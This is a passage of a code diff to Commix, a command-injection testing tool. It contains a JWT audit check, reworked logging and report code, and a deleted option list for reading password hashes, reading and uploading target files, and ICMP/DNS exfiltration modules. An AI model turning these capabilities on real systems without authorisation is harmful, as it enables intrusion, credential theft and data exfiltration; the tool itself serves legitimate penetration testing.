+detail)' tuples - answered offline, from the token already in the request. +""" +def audit(token): + findings = [] + data = parse(token) + if not data: + return findings + + header, payload = data["header"], data["payload"] + # A header is only promised to be an object, so an 'alg' that is not a string names no algorithm. + algorithm = header.get("alg") + algorithm = algorithm.strip() if isinstance(algorithm, str) else "" + + # An unsigned token the target itself issued means its claims need no key to restate. + if algorithm.lower() == "none" or data["signature"] == "": + findings.append(("alg-none", "critical", "token declares alg '" + (algorithm or "none") + "' (unsigned)", + "its claims carry no signature to check them against")) + + if algorithm.upper().startswith(("RS", "ES", "PS")): + findings.append(("alg-confusion", "info", "asymmetric algorithm '" + algorithm + "'", + "worth checking the target does not also accept an HMAC one")) + + for field in UNTRUSTED_KEY_SOURCE_FIELDS: + if field in header: + findings.append(("header-key-injection", "high", "header carries '" + field + "'", + "the key it is verified with is fetched from where the token says")) + + # The reason this check is here at all: 'kid' names the key to verify with, so the target resolves + # it before the signature it would verify has been checked - a lookup built by concatenation is a + # sink reached on every request, and this tool is built to test exactly that. + if "kid" in header: + findings.append(("kid-injection", "info", "header carries 'kid' ('" + str(header["kid"]) + "')", + "a key lookup worth testing as an injection point")) + + if isinstance(payload, dict) and "exp" not in payload: + findings.append(("no-expiry", "high", "no 'exp' claim", "the token does not expire")) + + return findings diff --git a/src/utils/logs.py b/src/utils/logs.py index c9f4452e43..23c4a73171 100755 --- a/src/utils/logs.py +++ b/src/utils/logs.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by @@ -13,17 +13,21 @@ For more see the file 'readme/COPYING' for copying permission. """ import os -import re -import sys import time -import sqlite3 -import datetime -from src.utils import menu +import sys +import json +import shlex +import tempfile +from datetime import date +from datetime import datetime +from src.core.parse import cmdline as menu +from src.utils import har +from src.utils import common from src.utils import settings +from src.core.requests import reproduce from src.utils import session_handler -from src.core.injections.controller import checks +from src.core.controller import checks from src.thirdparty.six.moves import urllib as _urllib -from src.thirdparty.colorama import Fore, Back, Style, init """ 1. Generate injection logs (logs.txt) in "./ouput" file. @@ -31,161 +35,475 @@ """ """ -Create log files +Directory creation """ -def create_log_file(url, output_dir): - if not output_dir.endswith("/"): - output_dir = output_dir + "/" - - parts = url.split('//', 1) - try: - host = parts[1].split('/', 1)[0] - except IndexError: - host = parts[0].split('/', 1)[0] - except OSError as err_msg: +def path_creation(path): + if not os.path.exists(path): try: - error_msg = str(err_msg).split("] ")[1] + "." - except IndexError: - error_msg = str(err_msg) + "." - print(settings.print_critical_msg(error_msg)) - raise SystemExit() - - - # Check if port is defined to host. - if ":" in host: - host = host.replace(":","_") - try: - os.stat(output_dir + host + "/") - except: - try: - os.mkdir(output_dir + host + "/") + # Another run against the same target may have created it in the meantime. + os.makedirs(path, exist_ok=True) except OSError as err_msg: try: error_msg = str(err_msg).split("] ")[1] + "." except IndexError: error_msg = str(err_msg) + "." - print(settings.print_critical_msg(error_msg)) - raise SystemExit() + settings.print_data_to_stdout(settings.print_critical_msg(error_msg)) + raise SystemExit(settings.EXIT_FAILURE) + +""" +Logs filename creation. +""" +def logs_filename_creation(url): + output_dir = menu.options.output_dir + + if output_dir: + output_dir = os.path.abspath(output_dir) + if os.path.isdir(output_dir): + info_msg = "Using output directory '" + output_dir + "'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + else: + try: + os.makedirs(output_dir, exist_ok=True) + info_msg = "Created missing output directory '" + output_dir + "'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + except OSError: + error_msg = "Unable to create missing output directory '" + output_dir + "'." + settings.print_data_to_stdout(settings.print_error_msg(error_msg)) + try: + output_dir = tempfile.mkdtemp(prefix=settings.APPLICATION) + warn_msg = "Using temporary output directory '" + output_dir + "' instead." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + except (OSError, RuntimeError): + common.unhandled_exception() + else: + output_dir = settings.OUTPUT_DIR + path_creation(os.path.dirname(output_dir)) + + # Ensure path ends with OS-specific separator + output_dir = os.path.join(output_dir, '') + + # Create the logs filename + return create_log_file(url, output_dir) + +""" +Create log files +""" +def create_log_file(url, output_dir): + host = _urllib.parse.urlparse(url).netloc.replace(":","_") + "/" + logs_path = output_dir + host + + path_creation(logs_path) - # Create cli history file if does not exist. - settings.CLI_HISTORY = output_dir + host + "/" + "cli_history" - if not os.path.exists(settings.CLI_HISTORY): - open(settings.CLI_HISTORY,'a').close() + # Where the command history is kept. Saving it is what creates the file. + settings.CLI_HISTORY = logs_path + "cli_history" if menu.options.session_file is not None: if os.path.exists(menu.options.session_file): settings.SESSION_FILE = menu.options.session_file else: - err_msg = "The provided session file ('" + \ - menu.options.session_file + \ - "') does not exist." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - else: - settings.SESSION_FILE = output_dir + host + "/" + "session" + ".db" - - # Load command history + err_msg = "The provided session file ('" + menu.options.session_file + "') does not exist." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + else: + settings.SESSION_FILE = logs_path + "session.db" + + """ + How old the stored findings were before this run touched them. + + Taken here because a run that replays one writes to the file as it goes, so by the time anything + is reported the file is this run's own age rather than the findings'. + """ + try: + settings.SESSION_FILE_AGE_DAYS = int(time.time() - os.path.getmtime(settings.SESSION_FILE)) // (3600 * 24) + except (OSError, TypeError, ValueError): + settings.SESSION_FILE_AGE_DAYS = None + checks.load_cmd_history() # The logs filename construction. - filename = output_dir + host + "/" + settings.OUTPUT_FILE + filename = logs_path + settings.OUTPUT_FILE + http_request_method = settings.HTTPMETHOD.POST if menu.options.data else settings.HTTPMETHOD.GET + command = " ".join(shlex.quote(_) for _ in sys.argv) + started = str(date.today()) + settings.SINGLE_WHITESPACE + datetime.now().strftime("%H:%M:%S") + settings.REPORT_STARTED = settings.REPORT_STARTED or started try: - output_file = open(filename, "a") - output_file.write("\n" + "=" * 37) - output_file.write("\n" + "| Started in " + \ - datetime.datetime.fromtimestamp(time.time()).strftime('%m/%d/%Y' + \ - " at " + '%H:%M:%S' + " |")) - output_file.write("\n" + "=" * 37) - output_file.write("\n" + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Tested URL : " + url) - output_file.close() + # Opened only where there is something to write: '--no-logging' asks for the file to be left + # alone, and opening it to write nothing is what empties the one an earlier run filled. + if not menu.options.no_logging: + with open(filename, 'w' if menu.options.flush_session else 'a', encoding=settings.DEFAULT_CODEC) as output_file: + output_file.write("Target: " + url + " (" + http_request_method + ")" + settings.END_LINE.LF) + output_file.write("Command: " + command + settings.END_LINE.LF) + output_file.write("Started: " + started + settings.END_LINE.LF) except IOError as err_msg: try: error_msg = str(err_msg.args[0]).split("] ")[1] + "." - except: + except IndexError: error_msg = str(err_msg.args[0]) + "." - print(settings.print_critical_msg(error_msg)) - raise SystemExit() - + settings.print_data_to_stdout(settings.print_critical_msg(error_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + if not menu.options.output_dir: + filename = os.path.abspath(filename) + + if menu.options.report_json: + # Only a report that belongs to a target of its own is kept; the one opened as the run began + # stands for no target yet, and is written over rather than collected. + if _REPORT_HELD_A_TARGET[0] and report_active() and settings.REPORT_JSON.get("target"): + finished = settings.REPORT_JSON + # The target is being put away, so it is no longer the one running - said outright rather than + # left to 'setdefault', which never fires on a key the report is opened carrying. + if finished.get("status") == settings.REPORT_STATUS_RUNNING: + finished["status"] = settings.REPORT_STATUS_COMPLETED + finished.setdefault("finished", str(date.today()) + settings.SINGLE_WHITESPACE + datetime.now().strftime("%H:%M:%S")) + settings.REPORT_TARGETS.append(finished) + settings.REPORT_JSON = { + "target": url, + "http_method": http_request_method, + "command": command, + "started": started, + "status": settings.REPORT_STATUS_RUNNING, + } + _REPORT_HELD_A_TARGET[0] = True + flush_report() + return filename """ -Add the injection type / technique in log files. +Report a log file that cannot be written - once per path, not once per line written to it. """ -def add_type_and_technique(export_injection_info, filename, injection_type, technique): - if export_injection_info == False: - settings.SHOW_LOGS_MSG = True - output_file = open(filename, "a") - output_file.write("\n" + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Type: " + injection_type.title()) - output_file.write("\n" + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Technique: " + technique.title()) - output_file.close() - export_injection_info = True +def write_failure(filename, err_msg): + if filename in settings.UNWRITABLE_LOG_FILES: + return + settings.UNWRITABLE_LOG_FILES.add(filename) + warn_msg = "Unable to write to '" + filename + "' (" + str(err_msg) + "). Nothing is being logged there." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) - return export_injection_info +""" +Append a line to the report - a blank line separates it from a differently grouped one. +""" +def add_line(filename, text, group=""): + if menu.options.no_logging: + return + try: + with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: + if group != settings.LAST_LOG_GROUP: + output_file.write(settings.END_LINE.LF) + settings.LAST_LOG_GROUP = group + output_file.write(text + settings.END_LINE.LF) + except OSError as err_msg: + write_failure(filename, err_msg) + +""" +Whether --report-json was given and the report is ready to receive data. +""" +def report_active(): + return settings.REPORT_JSON is not None + +""" +Write what the report holds so far, so that a run still going can be read while it goes. +Quietly, unlike the write that ends a run: a reader that is watching the file has somewhere to look +either way, and a path that cannot be written is reported once, at the end, rather than at every +finding on the way there. """ -Add the vulnerable parameter in log files. +def flush_report(): + if not report_active(): + return + try: + _write_report_file() + except (IOError, OSError): + pass + """ -def add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload): - output_file = open(filename, "a") - if header_name[1:] == "cookie": - header_name = " ("+ header_name[1:] + ") " + vuln_parameter - if header_name[1:] == "": - header_name = " ("+ http_request_method + ") " + vuln_parameter - output_file.write("\n" + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + the_type[1:].title() + ": " + header_name[1:]) - vp_flag = False - output_file.write("\n") - output_file.close() +Put the report where it was asked for, in one move. +Written beside it and renamed over it, rather than into it: a report is rewritten from the top every +time it grows, and a reader watching it would otherwise be free to read it halfway through one. +""" """ -Add any payload in log files. +Whether a report has been opened for a target of its own yet, rather than only for the run. """ -def update_payload(filename, counter, payload): - output_file = open(filename, "a") - if "\n" in payload: - output_file.write(" (" +str(counter)+ ") Payload: " + re.sub("%20", " ", _urllib.parse.unquote_plus(payload.replace("\n", "\\n"))) + "\n") +_REPORT_HELD_A_TARGET = [False] + +def _report_document(): + if not settings.REPORT_TARGETS: + return settings.REPORT_JSON + targets = list(settings.REPORT_TARGETS) + if settings.REPORT_JSON: + targets.append(settings.REPORT_JSON) + return { + "targets": targets, + "started": settings.REPORT_STARTED or (targets[0].get("started") if targets else ""), + "status": (settings.REPORT_JSON or {}).get("status") or settings.REPORT_STATUS_RUNNING, + "finished": (settings.REPORT_JSON or {}).get("finished", ""), + "requests": settings.TOTAL_OF_REQUESTS, + } + +def _write_report_file(): + directory = os.path.dirname(os.path.abspath(menu.options.report_json)) or "." + handle, path = tempfile.mkstemp(dir=directory, prefix=".report-", suffix=".json") + try: + with os.fdopen(handle, 'w', encoding=settings.DEFAULT_CODEC) as output_file: + json.dump(_report_document(), output_file, indent=2, ensure_ascii=False) + os.replace(path, menu.options.report_json) + except (IOError, OSError): + if os.path.exists(path): + os.unlink(path) + raise + +""" +Settle a report that is still saying the run is going, whatever ended it. + +A run cut short by a critical error never reaches the lines that close one down, so the report it +leaves behind would otherwise claim forever to be in progress - and something reading it would +wait for an ending that has already happened. +""" +def finalize_report(exit_code): + if not report_active(): + return + if settings.REPORT_JSON.get("status") != settings.REPORT_STATUS_RUNNING: + return + write_report(settings.REPORT_STATUS_COMPLETED if not exit_code else settings.REPORT_STATUS_FAILED) + +""" +Open the report as the run begins, so that a reader is never left telling "not started yet" apart +from "never asked for" by the absence of a file. +""" +def open_report(): + if not menu.options.report_json or report_active(): + return + settings.REPORT_JSON = { + "target": menu.options.url or "", + "started": settings.REPORT_STARTED, + "status": settings.REPORT_STATUS_RUNNING, + } + flush_report() + +""" +Record a single fact (hostname, current user, OS, ...) into the JSON report. +""" +def report_set_info(key, value): + if report_active(): + settings.REPORT_JSON.setdefault("info", {})[key] = value + flush_report() + +""" +Record one enumerated item (a user, a privilege row, a password hash, ...) into the JSON report. +""" +def report_add_enumeration(category, item): + if report_active(): + settings.REPORT_JSON.setdefault("enumeration", {}).setdefault(category, []).append(item) + flush_report() + +""" +Record one extracted file's content into the JSON report. +""" +def report_add_file(path, content): + if report_active(): + settings.REPORT_JSON.setdefault("files", []).append({"path": path, "content": content}) + flush_report() + +""" +Add a confirmed finding in log files, in the same format the console summary prints it. +""" +def add_finding(filename, injection_type, technique, http_request_method, vuln_parameter, payload, title=None): + settings.SHOW_LOGS_MSG = True + if not settings.LOGGED_FINDINGS_HEADER: + add_line(filename, settings.APPLICATION + " identified the following injection point(s):", group="findings") + settings.LOGGED_FINDINGS_HEADER = True + parameter = (vuln_parameter, http_request_method) + if parameter != settings.LAST_LOGGED_PARAMETER: + add_line(filename, checks.finding_parameter_line(vuln_parameter, http_request_method), group="findings") + settings.LAST_LOGGED_PARAMETER = parameter else: - output_file.write(" (" +str(counter)+ ") Payload: " + payload.replace("%20", " ") + "\n") - output_file.close() + add_line(filename, "", group="findings") + payload = str(checks.url_decode(payload)).replace(settings.END_LINE.LF, settings.END_LINE.ESCAPED_LF) + # The same line the summary prints, so a finding read out of a file and one read off the screen + # cannot say different things about what was sent. The command below is built from the payload as + # it went out instead, since a stand-in the sink ignores is still what reproduces the finding. + reported = checks.payload_with_own_value(payload) + for line in checks.finding_summary_lines(technique, injection_type, reported, title): + add_line(filename, settings.strip_ansi_codes(line), group="findings") + # Built here rather than when the report is written, since the cookies and headers move during a run. + command = reproduce.curl_command(menu.options.url, http_request_method, vuln_parameter, payload) + caveats = reproduce.curl_command_caveats() if command else [] + if command and reported != payload: + caveats.append("the sink did not need the parameter's own value, so this command carries the '" + settings.TESTABLE_VALUE + "' that was sent in its place") + if command: + add_line(filename, settings.strip_ansi_codes(settings.SUB_CONTENT_SIGN_TYPE + "Reproduce: " + command), group="findings") + for caveat in caveats: + add_line(filename, settings.strip_ansi_codes(settings.SUB_CONTENT_SIGN_TYPE + "Note: " + caveat[0].upper() + caveat[1:] + "."), group="findings") + results_note(menu.options.url, http_request_method, vuln_parameter, technique, injection_type) + if report_active(): + finding = { + "parameter": vuln_parameter, + "http_method": http_request_method, + "technique": checks.summary_technique_label(technique), + "type": injection_type[0].upper() + injection_type[1:], + "boundary": title, + "payload": reported, + } + if command: + finding["reproduce"] = command + if caveats: + finding["reproduce_caveats"] = caveats + settings.REPORT_JSON.setdefault("findings", []).append(finding) + flush_report() + +""" +Settle which CSV the findings of a run over several targets are collected in. + +A run given a list is one whose answer is the list back with the vulnerable entries marked, so it +gets the file whether or not one was asked for - named after the time the run started, beside the +run's other output. A single target has its own log and does not need a sheet of one row, so there +the file is only what '--results-file' names. +""" +def results_file_in_use(): + if menu.options.results_file or not checks.several_targets(): + return + output_dir = menu.options.output_dir or settings.OUTPUT_DIR + menu.options.results_file = os.path.join(output_dir, datetime.now().strftime(settings.RESULTS_FILE_FORMAT).lower()) """ -Add any executed command and +Note a finding for the CSV '--results-file' keeps. + +One row per place and parameter rather than per finding, because what a run over many targets is +read for is which of them answered and where - the techniques that got there are a column of it. +""" +def results_note(url, place, parameter, technique, injection_type): + results_file_in_use() + if not menu.options.results_file: + return + row = settings.RESULTS_FILE_ROWS.setdefault((url, place, parameter), {"techniques": set(), "notes": set()}) + letter = session_handler.technique_letter(technique) + if letter: + row["techniques"].add(letter.upper()) + else: + # A module is not one of the techniques '--technique' chooses between, so it has no letter to + # put in that column - what found the point is said in words instead of left out. + row["notes"].add(checks.summary_technique_label(technique)) + row["notes"].add(injection_type[0].upper() + injection_type[1:]) + +""" +A field as a CSV file can hold it. +""" +def _csv_value(value): + value = str(value) + if any(char in value for char in (",", '"', "\n", "\r")): + value = '"' + value.replace('"', '""') + '"' + return value + +""" +Write out what this target was found vulnerable at, and start the next one with nothing. +""" +def write_results_rows(): + if not menu.options.results_file or not settings.RESULTS_FILE_ROWS: + return + rows = settings.RESULTS_FILE_ROWS + settings.RESULTS_FILE_ROWS = {} + try: + exists = os.path.isfile(menu.options.results_file) and os.path.getsize(menu.options.results_file) > 0 + with open(menu.options.results_file, "a", encoding=settings.DEFAULT_CODEC) as output_file: + if not exists: + output_file.write("Target URL,Place,Parameter,Technique(s),Note(s)" + settings.END_LINE.LF) + for (url, place, parameter), row in rows.items(): + output_file.write(",".join(_csv_value(field) for field in ( + url, place, parameter, "".join(sorted(row["techniques"])), "; ".join(sorted(row["notes"])) + )) + settings.END_LINE.LF) + except (OSError, IOError) as err_msg: + write_failure(menu.options.results_file, err_msg) + return + if not settings.RESULTS_FILE_STARTED: + settings.RESULTS_FILE_STARTED = True + info_msg = "Findings are being appended to the CSV results file '" + menu.options.results_file + "'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + +""" +Add any executed command and execution output result in log files. """ def executed_command(filename, cmd, output): - try: - output_file = open(filename, "a") - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Executed command: " + cmd + "\n") - output_file.write(" " + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_SIGN) + "Execution output: " + output + "\n") - output_file.close() - except TypeError: - pass + add_line(filename, "Executed command: " + cmd, group="command:" + cmd) + add_line(filename, str(output.encode(settings.DEFAULT_CODEC).decode()), group="command:" + cmd) + if report_active(): + settings.REPORT_JSON.setdefault("commands", []).append({"command": cmd, "output": output}) + flush_report() """ Fetched data logged to text files. """ def logs_notification(filename): + # Whatever the run has to suggest for the next one goes immediately above this, the last line. + checks.flush_os_shell_suggestion() # Save command history. - info_msg = "Fetched data logged to text files under '" + os.getcwd() + "/" + filename + "'." - print(settings.print_info_msg(info_msg)) + if not menu.options.no_logging and filename not in settings.UNWRITABLE_LOG_FILES: + info_msg = "Fetched data logged to text files under '" + filename + "'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) """ Log all HTTP traffic into a textual file. """ def log_traffic(header): - output_file = open(menu.options.traffic_file, "a") - if type(header) is bytes: - header = header.decode(settings.UNICODE_ENCODING) - output_file.write(header) - output_file.close() + try: + with open(menu.options.traffic_file, "a", encoding=settings.DEFAULT_CODEC) as output_file: + output_file.write(header) + except OSError as err_msg: + write_failure(menu.options.traffic_file, err_msg) + +""" +Close the report with the run's totals - only if something was actually logged. +""" +def add_footer(filename): + if menu.options.no_logging or not settings.LOGGED_FINDINGS_HEADER: + return + add_line(filename, "Finished: " + str(date.today()) + settings.SINGLE_WHITESPACE + datetime.now().strftime("%H:%M:%S") + + " Requests: " + str(settings.TOTAL_OF_REQUESTS) + + " Target OS: " + settings.TARGET_OS.title(), group="footer") + +""" +Write the accumulated --report-json data to the requested file. +""" +def write_report(status=None): + if not menu.options.report_json: + return + if not report_active(): + # Over before the first target was opened. A reader that was promised a file is handed one + # saying so, rather than an absence it has to read as either "nothing found" or "never ran". + settings.REPORT_JSON = { + "target": menu.options.url or "", + "started": settings.REPORT_STARTED, + } + settings.REPORT_JSON["status"] = status or settings.REPORT_STATUS_COMPLETED + settings.REPORT_JSON["finished"] = str(date.today()) + settings.SINGLE_WHITESPACE + datetime.now().strftime("%H:%M:%S") + settings.REPORT_JSON["requests"] = settings.TOTAL_OF_REQUESTS + settings.REPORT_JSON["target_os"] = settings.TARGET_OS.title() + # Without these a finding reached through evasion reads the same as one against an open target. + settings.REPORT_JSON["waf_detected"] = settings.WAF_ENABLED + settings.REPORT_JSON["evasion_applied"] = settings.WAF_EVASION_APPLIED or menu.options.tamper or "" + try: + _write_report_file() + info_msg = "Run results stored to the JSON file '" + menu.options.report_json + "'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + except IOError as err_msg: + error_msg = "Unable to write the JSON report to '" + menu.options.report_json + "' (" + str(err_msg) + ")." + settings.print_data_to_stdout(settings.print_error_msg(error_msg)) """ Print logs notification. """ def print_logs_notification(filename, url): + from src.core.requests import keepalive + keepalive.close_all() checks.save_cmd_history() - if settings.SHOW_LOGS_MSG == True: - logs_notification(filename) + add_footer(filename) + write_report() + har.write() + if settings.SHOW_LOGS_MSG is True and not menu.options.no_logging: + if not settings.LOAD_SESSION: + logs_notification(filename) + # Also where the line above is not printed at all ('--no-logging'), so the suggestion is not lost. + checks.flush_os_shell_suggestion() if url: session_handler.clear(url) -# eof \ No newline at end of file +# eof diff --git a/src/utils/menu.py b/src/utils/menu.py deleted file mode 100755 index 237b7c485c..0000000000 --- a/src/utils/menu.py +++ /dev/null @@ -1,740 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -import os -import sys -from src.utils import settings -from optparse import OptionGroup -from optparse import OptionParser -from src.thirdparty.six.moves import input as _input -from src.thirdparty.colorama import Fore, Back, Style, init - -# Use Colorama to make Termcolor work on Windows too :) -if settings.IS_WINDOWS: - init() - -""" -The commix's banner. -""" -def banner(): - print(""" __ - ___ ___ ___ ___ ___ ___ /\_\ __ _ - /`___\ / __`\ /' __` __`\ /' __` __`\/\ \ /\ \/'\ """ + Style.BRIGHT + Style.UNDERLINE + settings.VERSION + Style.RESET_ALL + """ -/\ \__//\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \ \ \\\/> </ -\ \____\ \____/\ \_\ \_\ \_\ \_\ \_\ \_\ \_\\/\_/\\_\\ """ + Fore.GREY + Style.UNDERLINE + settings.APPLICATION_URL + Style.RESET_ALL + """ - \/____/\/___/ \/_/\/_/\/_/\/_/\/_/\/_/\/_/\//\/_/ (""" + Fore.LIGHTRED_EX + settings.APPLICATION_TWITTER + Style.RESET_ALL + """) - -+-- -""" + Style.BRIGHT + settings.DESCRIPTION_FULL + Style.RESET_ALL + """ -Copyright © """ + settings.YEAR + """ """ + settings.AUTHOR + Style.RESET_ALL + """ (""" + Fore.LIGHTRED_EX + settings.AUTHOR_TWITTER + Style.RESET_ALL + """) -+-- -""") - -_ = os.path.normpath(sys.argv[0]) - -usage = "python %prog [option(s)]" - -parser = OptionParser(usage=usage) - -# General options -general = OptionGroup(parser, Style.BRIGHT + Style.UNDERLINE + "General" + Style.RESET_ALL, - "These options relate to general matters. ") - -general.add_option("-v", - default="0", - action="store", - type="int", - dest="verbose", - help="Verbosity level (0-4, Default: 0).") - -general.add_option("--install", - action="store_true", - dest="install", - default=False, - help="Install 'commix' to your system.") - -general.add_option("--version", - action="store_true", - dest="version", - help="Show version number and exit.") - -general.add_option("--update", - action="store_true", - dest="update", - help="Check for updates (apply if any) and exit.") - -general.add_option("--output-dir", - action="store", - dest="output_dir", - help="Set custom output directory path.") - -general.add_option("-s", - action="store", - dest="session_file", - default=None, - help="Load session from a stored (.sqlite) file.") - -general.add_option("--flush-session", - action="store_true", - dest="flush_session", - help="Flush session files for current target.") - -general.add_option("--ignore-session", - action="store_true", - dest="ignore_session", - help="Ignore results stored in session file.") - -general.add_option("-t", - action="store", - dest="traffic_file", - default=None, - help="Log all HTTP traffic into a textual file.") - -general.add_option("--batch", - action="store_true", - dest="batch", - default=False, - help="Never ask for user input, use the default behaviour.") - -general.add_option("--skip-heuristics", - action="store_true", - dest="skip_heuristics", - default=False, - help="Skip heuristic detection for code injection.") - -general.add_option("--encoding", - action="store", - dest="encoding", - default=None, - help="Force character encoding used for data retrieval (e.g. GBK).") - -general.add_option("--charset", - action="store", - dest="charset", - default=None, - help="Time-related injection charset (e.g. \"0123456789abcdef\")") - -general.add_option("--check-internet", - action="store_true", - dest="check_internet", - help="Check internet connection before assessing the target.") - -# Target options -target = OptionGroup(parser, Style.BRIGHT + Style.UNDERLINE + "Target" + Style.RESET_ALL, - "This options has to be provided, to define the target URL. ") - -target.add_option("-u","--url", - action="store", - dest="url", - help="Target URL.") - -target.add_option("--url-reload", - action="store_true", - dest="url_reload", - default=False, - help="Reload target URL after command execution.") - -target.add_option("-l", - dest="logfile", - help="Parse target from HTTP proxy log file.") - -target.add_option("-m", - dest="bulkfile", - help="Scan multiple targets given in a textual file.") - -target.add_option("-r", - dest="requestfile", - help="Load HTTP request from a file.") - -target.add_option("--crawl", - default=0, - dest="crawldepth", - type="int", - help="Crawl the website starting from the target URL (1-2, Default: 0).") - -target.add_option("-x", - dest="sitemap_url", - help="Parse target(s) from remote sitemap(.xml) file.") - -target.add_option("--method", - dest="method", - help="Force usage of given HTTP method (e.g. PUT)") - -# Request options -request = OptionGroup(parser, Style.BRIGHT + Style.UNDERLINE + "Request" + Style.RESET_ALL, - "These options can be used to specify how to connect to the target URL.") - - -request.add_option("-d", "--data", - action="store", - dest="data", - default=False, - help="Data string to be sent through POST.") - -request.add_option("--host", - action="store", - dest="host", - help="HTTP Host header.") - -request.add_option("--referer", - action="store", - dest="referer", - help="HTTP Referer header.") - -request.add_option("--user-agent", - action="store", - dest="agent", - default = settings.DEFAULT_USER_AGENT, - help="HTTP User-Agent header.") - -request.add_option("--random-agent", - action="store_true", - dest="random_agent", - default=False, - help="Use a randomly selected HTTP User-Agent header.") - -request.add_option("--param-del", - action="store", - dest="pdel", - help="Set character for splitting parameter values.") - -request.add_option("--cookie", - action="store", - dest="cookie", - help="HTTP Cookie header.") - -request.add_option("--cookie-del", - action="store", - dest="cdel", - help="Set character for splitting cookie values.") - -request.add_option("-H","--header", - action="store", - dest="header", - help="Extra header (e.g. 'X-Forwarded-For: 127.0.0.1').") - -request.add_option("--headers", - action="store", - dest="headers", - help="Extra headers (e.g. 'Accept-Language: fr\\nETag: 123').") - -request.add_option("--proxy", - action="store", - dest="proxy", - default=False, - help="Use a proxy to connect to the target URL.") - -request.add_option("--tor", - action="store_true", - dest="tor", - default=False, - help="Use the Tor network.") - -request.add_option("--tor-port", - action="store", - dest="tor_port", - default=False, - help="Set Tor proxy port (Default: 8118).") - -request.add_option("--tor-check", - action="store_true", - dest="tor_check", - default=False, - help="Check to see if Tor is used properly.") - -request.add_option("--auth-url", - action="store", - dest="auth_url", - help="Login panel URL.") - -request.add_option("--auth-data", - action="store", - dest="auth_data", - help="Login parameters and data.") - -request.add_option("--auth-type", - action="store", - dest="auth_type", - help="HTTP authentication type (e.g. 'Basic' or 'Digest').") - -request.add_option("--auth-cred", - action="store", - dest="auth_cred", - help="HTTP authentication credentials (e.g. 'admin:admin').") - -request.add_option("--ignore-code", - action="store", - dest="ignore_code", - default=False, - help="Ignore (problematic) HTTP error code (e.g. 401).") - -request.add_option("--force-ssl", - action="store_true", - dest="force_ssl", - default=False, - help="Force usage of SSL/HTTPS.") - -request.add_option("--ignore-redirects", - action="store_true", - dest="ignore_redirects", - default=False, - help="Ignore redirection attempts.") - -request.add_option("--timeout", - action="store", - dest="timeout", - default=False, - type="int", - help="Seconds to wait before timeout connection (default 30).") - -request.add_option("--retries", - action="store", - dest="retries", - default=False, - type="int", - help="Retries when the connection timeouts (Default: 3).") - -# Enumeration options -enumeration = OptionGroup(parser, Style.BRIGHT + Style.UNDERLINE + "Enumeration" + Style.RESET_ALL, - "These options can be used to enumerate the target host.") - -enumeration.add_option("--all", - action="store_true", - dest="enum_all", - default=False, - help="Retrieve everything.") - -enumeration.add_option("--current-user", - action="store_true", - dest="current_user", - default=False, - help="Retrieve current user name.") - -enumeration.add_option("--hostname", - action="store_true", - dest="hostname", - default=False, - help="Retrieve current hostname.") - -enumeration.add_option("--is-root", - action="store_true", - dest="is_root", - default=False, - help="Check if the current user have root privileges.") - -enumeration.add_option("--is-admin", - action="store_true", - dest="is_admin", - default=False, - help="Check if the current user have admin privileges.") - -enumeration.add_option("--sys-info", - action="store_true", - dest="sys_info", - default=False, - help="Retrieve system information.") - -enumeration.add_option("--users", - action="store_true", - dest="users", - default=False, - help="Retrieve system users.") - -enumeration.add_option("--passwords", - action="store_true", - dest="passwords", - default=False, - help="Retrieve system users password hashes.") - -enumeration.add_option("--privileges", - action="store_true", - dest="privileges", - default=False, - help="Retrieve system users privileges.") - -enumeration.add_option("--ps-version", - action="store_true", - dest="ps_version", - default=False, - help="Retrieve PowerShell's version number.") - -# File access options -file_access = OptionGroup(parser, Style.BRIGHT + Style.UNDERLINE + "File access" + Style.RESET_ALL, - "These options can be used to access files on the target host.") - -file_access.add_option("--file-read", - action="store", - dest="file_read", - help="Read a file from the target host.") - -file_access.add_option("--file-write", - action="store", - dest="file_write", - help="Write to a file on the target host.") - -file_access.add_option("--file-upload", - action="store", - dest="file_upload", - help="Upload a file on the target host.") - -file_access.add_option("--file-dest", - action="store", - dest="file_dest", - help="Host's absolute filepath to write and/or upload to.") - -# Modules options -modules = OptionGroup(parser, Style.BRIGHT + Style.UNDERLINE + "Modules" + Style.RESET_ALL, - "These options can be used increase the detection and/or injection capabilities.") -modules.add_option("--icmp-exfil", - action="store", - dest="ip_icmp_data", - default=False, - help="The 'ICMP exfiltration' injection module. (e.g. 'ip_src=192.168.178.1,ip_dst=192.168.178.3').") - -modules.add_option("--dns-server", - action="store", - dest="dns_server", - default=False, - help="The 'DNS exfiltration' injection module. (Domain name used for DNS exfiltration attack).") - -modules.add_option("--shellshock", - action="store_true", - 